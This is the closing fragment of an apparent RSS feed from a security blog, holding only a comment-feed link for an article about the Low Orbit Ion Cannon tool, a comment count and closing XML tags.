			<wfw:commentRss>http://securitymusings.com/article/2649/low-orbit-ion-cannon-a-very-simple-tool-made-for-broad-distribution/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

